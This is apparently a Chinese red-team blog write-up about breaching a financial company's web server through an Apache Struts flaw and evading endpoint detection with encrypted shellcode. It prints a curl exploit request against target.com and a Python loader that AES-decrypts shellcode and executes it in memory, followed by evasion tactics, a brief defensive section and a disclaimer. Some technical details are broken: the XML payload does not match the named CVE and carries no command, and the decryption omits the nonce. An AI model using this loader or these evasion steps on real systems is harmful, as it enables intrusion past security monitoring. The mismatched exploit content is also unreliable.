0x01 渗透故事的开始

在某次红队演练中,我受命渗透一家专注于金融业务的知名互联网公司。他们拥有严格的安全防护措施,包括先进的EDR系统和专用的网络流量监控。我决定从基础开始,探讨如何绕过这些防护,获取目标系统的控制权。经过详细的情报收集,我锁定了一台存在老旧漏洞的Web服务器作为初始突破点。

黑客示意图

在这次行动中,Shellcode加密免杀技术成为了我的秘密武器。为了顺利植入恶意代码,我设计了一种加密的Shellcode载荷,绕过EDR的检测,打开了一道进入目标网络的隐秘之门。

流量捕获实战

信息收集与环境分析

我的目标是一台运行在DMZ区域的Web服务器,它承担着对外提供API服务的任务。初步的扫描显示,这台服务器上运行着一个旧版本的Apache Struts,存在多个已知漏洞。为了确保攻击的隐蔽性,我选择了CVE-2017-5638作为攻击入口,因为它允许我们在目标服务器上执行任意命令。

环境搭建

黑客示意图

为了模拟真实的攻击场景,我在本地搭建了一台虚拟机,安装了与目标相同版本的Apache Struts,并配置了基本的防护措施。这样一来,我可以测试Shellcode载荷的免杀效果。

初步攻击尝试

首先,我构造了一个简单的RCE(远程命令执行)Payload,通过HTTP请求发送到目标服务器。这个Payload的任务是执行一个无害命令,验证我们是否具备执行权限。

<pre><code class="language-bash">curl -v -H &quot;Content-Type: application/xml&quot; -X POST --data &quot;&lt;?xml version=\&quot;1.0\&quot; ?&gt;&lt;map&gt;&lt;entry&gt;&lt;string&gt;javax.servlet.error.request_uri&lt;/string&gt;&lt;string&gt;/struts2-blank/example/HelloWorld.action&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;javax.servlet.error.status_code&lt;/string&gt;&lt;string&gt;200&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;javax.servlet.error.message&lt;/string&gt;&lt;string&gt;blah&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;javax.servlet.error.exception&lt;/string&gt;&lt;string&gt;blah&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;javax.servlet.error.servlet_name&lt;/string&gt;&lt;string&gt;org.apache.struts2.dispatcher.ServletDispatcher&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;com.opensymphony.xwork2.dispatcher.HttpServletRequest.request_uri&lt;/string&gt;&lt;string&gt;struts2-blank/example/HelloWorld.action&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;com.opensymphony.xwork2.dispatcher.HttpServletRequest.message&lt;/string&gt;&lt;string&gt;blah&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;com.opensymphony.xwork2.dispatcher.HttpServletRequest.status_code&lt;/string&gt;&lt;string&gt;200&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;com.opensymphony.xwork2.dispatcher.HttpServletRequest.exception&lt;/string&gt;&lt;string&gt;blah&lt;/string&gt;&lt;/entry&gt;&lt;entry&gt;&lt;string&gt;com.opensymphony.xwork2.dispatcher.HttpServletRequest.servlet_name&lt;/string&gt;&lt;string&gt;org.apache.struts2.dispatcher.ServletDispatcher&lt;/string&gt;&lt;/entry&gt;&lt;/map&gt;&quot; http://target.com/struts2-blank/example/HelloWorld.action</code></pre>

Payload构造的艺术

Shellcode的武器化

这次攻击的核心在于构造一个可以绕过EDR检测的Shellcode。为了实现这一点,我选择了使用Python脚本来生成并加密Shellcode。加密的目的是将Shellcode隐藏在正常的流量中,同时确保它在目标系统内存中解密执行。

Shellcode加密与加载技术

黑客示意图

加密Shellcode:我们使用AES加密算法对Shellcode进行加密。AES是一种对称加密算法,具有高效的加密性能和较强的抗攻击能力。

加载与执行:为了执行加密后的Shellcode,我们设计了一段解密与执行的加载器。加载器会在内存中解密Shellcode并执行它。

<pre><code class="language-python">from Crypto.Cipher import AES import ctypes import base64

key = b&#039;Sixteen byte key&#039; cipher = AES.new(key, AES.MODE_EAX)

shellcode = b&quot;\x90\x90\x90...&quot; ciphertext, tag = cipher.encrypt_and_digest(shellcode)

在目标机器上执行的解密与加载代码

def execute_encrypted_shellcode(ciphertext, key): cipher = AES.new(key, AES.MODE_EAX) shellcode = cipher.decrypt(ciphertext) ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ht = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)

execute_encrypted_shellcode(ciphertext, key)</code></pre>

神秘载荷的隐秘搭载

绕过EDR的技巧

为了有效绕过目标系统中的EDR,我们采取了以下策略:

  1. 流量伪装:通过伪装成常规的HTTP流量,将加密的Shellcode载入到目标系统中。
  2. 内存加载:直接在内存中解密与执行Shellcode,避免将任何可疑文件写入磁盘。
  3. 多层混淆:对Shellcode进行多层次的加密与混淆,增加EDR检测的难度。

攻击效果验证

在模拟环境中执行了我们构造的Payload,成功绕过了EDR的检测,并在目标系统内存中执行了加密的Shellcode,完成了初步的渗透。

检测与防御视角

黑客示意图

后门的识别与检测

为了对抗这种类型的攻击,防御者需要注重以下几点:

  • 流量分析:通过深入的流量分析,识别伪装的恶意载荷。
  • 内存监控:重点监控系统内存中的可疑活动,及时发现并阻止异常的内存操作。
  • 文件完整性检查:对关键系统文件进行实时完整性检查,防止内存加载恶意代码。

提升防御能力

企业可以通过加强EDR的智能分析能力,结合机器学习技术提高对异常行为的检测能力。同时,通过定期的安全演练和模拟攻击,提升整体的防御水平。

个人经验分享

在这次行动中,我深刻体会到了Shellcode加密免杀技术的威力。通过实际的攻击演练,我不仅成功突破了目标系统的防线,还对隐蔽攻击技术有了更深刻的理解。作为安全研究人员,保持对攻击技术的敏感和不断学习,是我们应对未来安全挑战的关键所在。

这篇文章仅供经过授权的安全测试人员学习使用,务必在合法合规的前提下进行安全研究。希望这次的经验分享能为你的安全研究工作提供一些借鉴和启发。